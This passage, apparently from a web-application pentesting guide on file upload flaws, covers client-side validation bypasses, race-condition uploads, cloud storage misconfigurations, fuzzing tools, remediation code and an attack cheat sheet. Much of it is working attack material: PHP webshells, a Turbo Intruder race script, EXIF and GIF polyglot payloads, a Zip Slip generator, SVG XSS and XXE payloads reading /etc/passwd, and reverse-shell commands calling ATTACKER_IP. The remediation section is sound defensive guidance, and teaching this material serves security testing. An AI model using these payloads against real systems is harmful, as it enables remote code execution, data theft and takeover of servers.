13.1 Removing HTML accept= Attribute

The HTML input element may restrict file types:
<input type="file" accept=".jpg,.jpeg,.png">

Bypass:
1. Open DevTools (F12)
2. Inspect the <input> element
3. Remove the accept="..." attribute or change to accept="*"
4. Select your malicious file normally

13.2 JavaScript Validation Bypass

If onchange / onsubmit handlers validate the filename client-side:

Method 1 — Disable JavaScript:
→ Firefox: about:config → javascript.enabled → false
→ Chrome extension: Toggle JavaScript

Method 2 — Intercept in Burp after client-side validation passes:
→ Upload a valid file (e.g. real.jpg)
→ Intercept the multipart POST in Burp
→ Change filename from "real.jpg" to "shell.php"
→ Change file body from image data to PHP payload
→ Forward

Method 3 — Drop the JS file from page source:
→ Burp Proxy → Match and Replace → strip the validation JS

13.3 Intercepting and Modifying the Upload in Burp

1. Set Burp as proxy, enable intercept
2. Upload a legitimate file that passes all client checks
3. Intercept the POST request
4. In the multipart body:
   → Change: filename="real.jpg" → filename="shell.php"
   → Change: Content-Type: image/jpeg → Content-Type: image/jpeg (keep)
   → Change body: [JPEG bytes] → <?php system($_GET['cmd']); ?>
5. Forward the modified request
6. Check response for upload path
7. Trigger: curl http://target.com/<path>/shell.php?cmd=id

14. Race Condition Uploads

HOW IT WORKS:
The server temporarily stores the uploaded file before validating it.
There's a brief window between storage and deletion/rejection.
If you can request the file during that window, you get code execution.

14.1 Race Condition Attack Flow

1. Server receives upload → saves file to disk as /uploads/shell.php
2. Server validates file → detects PHP → deletes file
3. RACE: between step 1 and 2, file exists on disk
4. Send many concurrent requests to /uploads/shell.php
5. One request hits during the window → code executes

14.2 Turbo Intruder — Race Condition

# Turbo Intruder script for race condition
# In Burp → right-click request → Extensions → Turbo Intruder → Send to Turbo Intruder

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=30,
                           requestsPerConnection=100,
                           pipeline=True)

    # Upload request — send once
    upload_req = '''POST /upload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----Bound

------Bound
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg

<?php system($_GET['cmd']); ?>
------Bound--'''

    # Trigger request — send many concurrent
    trigger_req = '''GET /uploads/shell.php?cmd=id HTTP/1.1
Host: target.com

'''
    # Queue the upload
    engine.queue(upload_req)

    # Queue 100 trigger requests in parallel
    for i in range(100):
        engine.queue(trigger_req)

def handleResponse(req, interesting):
    if 'uid=' in req.response:
        table.add(req)

14.3 Simple Race with curl

# Upload in background loop + trigger in parallel
# Terminal 1 — keep uploading:
while true; do
  curl -s -X POST http://target.com/upload \
    -F "file=@shell.php;type=image/jpeg" > /dev/null
done &

# Terminal 2 — keep triggering:
while true; do
  result=$(curl -s "http://target.com/uploads/shell.php?cmd=id")
  if echo "$result" | grep -q "uid="; then
    echo "[+] RCE! Response: $result"
    break
  fi
done

15. Cloud & CDN Upload Pitfalls

15.1 S3 Bucket Misconfigurations

# If file is served from S3 directly — execution is impossible (S3 doesn't run code)
# BUT:
# 1. If files are publicly readable → data exposure
# 2. If PUT is open → attacker can upload files
# 3. If bucket policy allows any content-type → XSS via HTML/JS upload

# Check if bucket allows public uploads:
aws s3 ls s3://target-bucket --no-sign-request
aws s3 cp evil.html s3://target-bucket/ --no-sign-request

# Exploit: upload HTML that loads attacker script
# If served from same domain → XSS

15.2 Content-Disposition vs Content-Type Mismatch

# If the server serves uploads with:
# Content-Type: application/octet-stream (forces download)
# → XSS via HTML upload is not possible in modern browsers

# But if served with:
# Content-Type: text/html
# Content-Disposition: inline
# → Browser renders HTML → XSS

# Check headers on uploaded file:
curl -I http://target.com/uploads/evil.html

# If Content-Type is wrong for attack, look for:
# 1. CORS misconfig → steal from another origin
# 2. Content-Sniffing → IE/Edge may execute regardless

15.3 Signed URL Abuse

# Pre-signed S3 URLs allow direct upload — check if:
# 1. Content-Type is enforced in signed URL
# 2. Server validates after upload to S3
# 3. File is accessible after upload before server validation

# Test by uploading wrong type via signed URL:
curl -X PUT "https://s3.amazonaws.com/bucket/file.jpg?<signed params>" \
  -H "Content-Type: text/html" \
  --data-binary @evil.html

16. Automation — Tools & Wordlists

16.1 Burp Suite — Upload Testing Workflow

1. Upload a legitimate file → capture in Burp Proxy
2. Send to Repeater → manually test:
   → Change extension variations
   → Change Content-Type
   → Add magic bytes to payload
   → Add path traversal to filename

3. Send to Intruder for extension fuzzing:
   → Mark filename parameter as injection point
   → Use extension wordlist
   → Analyze responses for different status codes / sizes

4. Burp Active Scan → may detect some upload vulns automatically

5. Burp Collaborator → detect blind XXE / SSRF via upload

16.2 ffuf — Upload Directory & Extension Fuzzing

# Fuzz upload directory
ffuf -u http://target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt \
     -mc 200,301,302,403

# Fuzz uploaded file extension (after you know filename pattern)
ffuf -u http://target.com/uploads/shellFUZZ -w extensions.txt -mc 200

# Fuzz filename for path traversal
ffuf -u http://target.com/uploads/FUZZ -w traversal.txt -mc 200,500

16.3 Useful SecLists Wordlists

# File upload extension fuzzing
/usr/share/seclists/Fuzzing/extensions-most-common.fuzz.txt
/usr/share/seclists/Fuzzing/extensions-offensive.fuzz.txt

# Web shells (pre-built)
/usr/share/seclists/Web-Shells/
/usr/share/webshells/                   # Kali built-in

# Path traversal payloads (for filename field)
/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt
/usr/share/seclists/Fuzzing/path-traversal-via-url-encoded-directory-traversal.txt

16.4 exiftool — EXIF Injection

# View existing EXIF data
exiftool image.jpg

# Inject PHP into Comment field
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg -o shell.jpg

# Inject into other fields (some parsers display these)
exiftool -Artist='<?php system($_GET["cmd"]); ?>' image.jpg -o shell.jpg
exiftool -Copyright='<?php phpinfo(); ?>' image.jpg -o shell.jpg
exiftool -ImageDescription='<?php system($_GET["cmd"]); ?>' image.jpg -o shell.jpg

# Remove all metadata (cleanup)
exiftool -all= clean.jpg

# Check what survives server-side processing
# (some apps strip EXIF on resize — test after round-trip)

16.5 file & python-magic — Verify Spoofing

# Check detected type before uploading
file shell.jpg
python3 -c "import magic; print(magic.from_file('shell.jpg', mime=True))"

# Verify magic bytes manually
xxd shell.jpg | head -3
hexdump -C shell.jpg | head -3

17. Remediation

17.1 Whitelist Extensions (Primary Control)

# ── Python (Flask) ──
ALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg', 'gif'}

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

# WRONG — checking if allowed ext is anywhere in name:
if '.jpg' in filename:   # shell.php.jpg passes this!
    save(file)

# CORRECT — check only the final extension:
if allowed_file(filename):
    save(file)
// ── PHP ──
$allowed = ['jpg', 'jpeg', 'png', 'gif'];
$ext = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));

if (!in_array($ext, $allowed)) {
    die("File type not allowed");
}
// Also validate with finfo — don't trust extension alone:
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $_FILES['file']['tmp_name']);
$allowed_mimes = ['image/jpeg','image/png','image/gif'];
if (!in_array($mime, $allowed_mimes)) {
    die("Invalid file type");
}

17.2 Sanitize the Filename

from werkzeug.utils import secure_filename
import uuid

# Always sanitize filename — never trust client-supplied name
filename = secure_filename(file.filename)     # removes ../ and bad chars

# Better: generate a random filename entirely
filename = str(uuid.uuid4()) + '.jpg'         # no user input in filename

# Store original name separately in DB if needed for display
// PHP:
$filename = bin2hex(random_bytes(16)) . '.jpg';   // random hex name
// or:
$filename = basename($_FILES['file']['name']);     // strip path components
$filename = preg_replace('/[^a-zA-Z0-9._-]/', '', $filename);  // allowlist chars

17.3 Store Files Outside Web Root

WRONG:
/var/www/html/uploads/user_file.php   ← web-accessible, executable

CORRECT:
/var/uploads/user_file.dat            ← outside web root, not accessible via HTTP

Serve files through a controller:
GET /file?id=abc123 → server reads /var/uploads/abc123, sets Content-Type, streams
→ Never executes the file, controls Content-Type header
# Serve file through Flask (not directly via web server):
from flask import send_file
import mimetypes

@app.route('/file/<file_id>')
def serve_file(file_id):
    # Validate file_id (alphanumeric only — prevent traversal)
    if not re.match(r'^[a-f0-9]{32}$', file_id):
        abort(400)
    filepath = os.path.join('/var/uploads/', file_id)
    if not os.path.exists(filepath):
        abort(404)
    # Force Content-Type and Content-Disposition
    return send_file(filepath,
                     mimetype='image/jpeg',
                     as_attachment=False)

17.4 Disable Execution in Upload Directory

# Apache — prevent PHP execution in upload directory
# /var/www/html/uploads/.htaccess
php_flag engine off
Options -ExecCGI
AddType text/plain .php .php5 .phtml .phar

# Or via main config:
<Directory /var/www/html/uploads>
    php_admin_flag engine Off
    Options -ExecCGI -Indexes
    AllowOverride None
    <FilesMatch "\.(php|phtml|phar|asp|aspx|jsp)$">
        Deny from all
    </FilesMatch>
</Directory>
# Nginx — prevent PHP execution in uploads
location /uploads/ {
    # Disable PHP processing
    location ~ \.php$ { deny all; }
    # Force download / content-type
    add_header Content-Type application/octet-stream;
    add_header Content-Disposition attachment;
}

17.5 Content Validation — Magic Bytes + MIME

import magic

def validate_image(filepath):
    mime = magic.from_file(filepath, mime=True)
    allowed_mimes = ['image/jpeg', 'image/png', 'image/gif', 'image/webp']
    if mime not in allowed_mimes:
        raise ValueError(f"Invalid file type: {mime}")

# For images — use PIL to re-encode, stripping all metadata:
from PIL import Image
import io

def safe_process_image(upload_stream):
    try:
        img = Image.open(upload_stream)
        img.verify()                    # checks integrity
        upload_stream.seek(0)
        img = Image.open(upload_stream)
        # Re-encode — strips EXIF, polyglot payloads, etc.
        output = io.BytesIO()
        img.save(output, format='JPEG')
        return output.getvalue()
    except Exception:
        raise ValueError("Invalid image")

17.6 Defense-in-Depth

PRIMARY CONTROLS:
├── Whitelist file extensions (check final extension only)
├── Validate MIME type server-side (magic bytes, not Content-Type header)
├── Sanitize / randomize filename (no user input in stored name)
├── Store files outside web root
└── Serve files through a controller with forced Content-Type

SECONDARY CONTROLS:
├── Disable script execution in upload directory (Apache/Nginx config)
├── Re-encode images with PIL/GD (strips polyglot payloads & EXIF)
├── Limit file size (prevent DoS / zip bombs)
├── Scan uploads with antivirus (ClamAV, commercial AV)
├── Separate file server / CDN for user content (different origin)
└── CSP header: prevent XSS from uploaded HTML/SVG

DETECTION:
├── Log all uploads with filename, size, MIME, user, IP
├── Alert on unexpected file types reaching upload endpoint
├── Monitor upload directories for new executable files (inotify, auditd)
├── WAF rules for upload bypass patterns (../, null byte, double extension)
└── DAST scanning (Burp, Nikto) in CI/CD pipeline

18. Master Cheat Sheet

Attack Decision Tree

Found a file upload function?
│
├── What does the server accept?
│   ├── Any file → try direct webshell upload
│   └── Restricted → map validation layers (client / server / magic bytes)
│
├── Client-side validation only?
│   └── Bypass: remove accept= in DevTools, or intercept post-validation in Burp
│       → Change filename + content in Burp → upload webshell
│
├── Server validates extension (blacklist)?
│   ├── Try alternative extensions: phtml, php5, phar, php7
│   ├── Try case: .PHP, .PhP
│   ├── Try double extension: shell.jpg.php
│   ├── Try null byte: shell.php%00.jpg (PHP < 5.3.4)
│   └── Try trailing dot/space: shell.php. (Windows)
│
├── Server validates extension (whitelist)?
│   ├── Upload .htaccess → remap .jpg to PHP → upload shell.jpg
│   ├── Upload web.config (IIS) → remap extension
│   ├── Nginx path info: shell.jpg/x.php
│   └── Try polyglot: GIF89a + PHP → upload as .gif
│
├── Server validates Content-Type?
│   └── Set Content-Type: image/jpeg in Burp while uploading PHP
│
├── Server checks magic bytes?
│   ├── Prepend GIF89a to PHP payload
│   ├── exiftool inject into real image
│   └── Create proper polyglot file
│
├── No PHP execution in upload dir?
│   ├── Path traversal in filename: ../shell.php
│   ├── LFI → include uploaded image as PHP
│   ├── Second-order: ImageMagick, ffmpeg, cron
│   ├── SVG upload → XSS or XXE
│   └── DOCX/XLSX XXE
│
├── File briefly exists before deletion?
│   └── Race condition → Turbo Intruder concurrent upload + trigger
│
└── Got webshell? → Escalate
    ├── curl /shell.php?cmd=id
    ├── Upgrade: bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
    └── Post-exploit: enum, creds, pivot

Quick Payload Reference

# ── Minimal PHP Webshells ──
<?=`$_GET[c]`?>
<?php system($_GET['cmd']); ?>
<?php echo shell_exec($_GET['cmd']); ?>

# ── GIF Polyglot ──
printf 'GIF89a<?php system($_GET["cmd"]); ?>' > shell.gif

# ── EXIF Injection ──
exiftool -Comment='<?php system($_GET["cmd"]); ?>' real.jpg -o shell.jpg

# ── .htaccess Remap ──
echo 'AddType application/x-httpd-php .jpg' > .htaccess

# ── web.config (IIS) ──
# (see section 10.5 for full XML)

# ── Path Traversal in Filename ──
../shell.php
../../shell.php
..%2Fshell.php
..%252Fshell.php

# ── Null Byte (PHP < 5.3.4) ──
shell.php%00.jpg

# ── Zip Slip ──
python3 -c "import zipfile; z=zipfile.ZipFile('e.zip','w'); z.writestr('../shell.php','<?php system(\$_GET[\"cmd\"]); ?>'); z.close()"

# ── SVG XSS ──
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)"></svg>

# ── SVG XXE ──
<?xml version="1.0"?><!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg xmlns="http://www.w3.org/2000/svg"><text>&xxe;</text></svg>

# ── Trigger webshell ──
curl "http://target.com/uploads/shell.php?cmd=id"
curl -G "http://target.com/uploads/shell.php" --data-urlencode "cmd=cat /etc/passwd"

# ── Upgrade to reverse shell ──
curl -G "http://target.com/uploads/shell.php" \
  --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"

Extension Quick Reference

PHP variants:   php phtml phar php5 php7 php3 pht pgif
ASP variants:   asp aspx asa asax ashx cer
JSP variants:   jsp jspx jspf
Case bypass:    .PHP .PhP .pHtml .PHTML
Double ext:     .php.jpg .jpg.php .php.png
IIS bypass:     .asp;.jpg .aspx;.jpg
Null byte:      .php%00.jpg (PHP < 5.3.4)
Windows:        .php. (trailing dot) .php  (trailing space)

Common Upload Tool Commands

# Verify file type
file shell.jpg
python3 -c "import magic; print(magic.from_file('shell.jpg', mime=True))"

# EXIF injection
exiftool -Comment='<?php system($_GET["cmd"]); ?>' real.jpg -o shell.jpg

# Create Zip Slip archive
python3 -c "import zipfile; z=zipfile.ZipFile('e.zip','w'); z.writestr('../shell.php','<?php system(\$_GET[\"cmd\"]); ?>'); z.close()"

# Directory fuzzing to find upload path
gobuster dir -u http://target.com -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php

# Race condition
# Burp Turbo Intruder → send upload + 100x trigger concurrently

← Web top ↑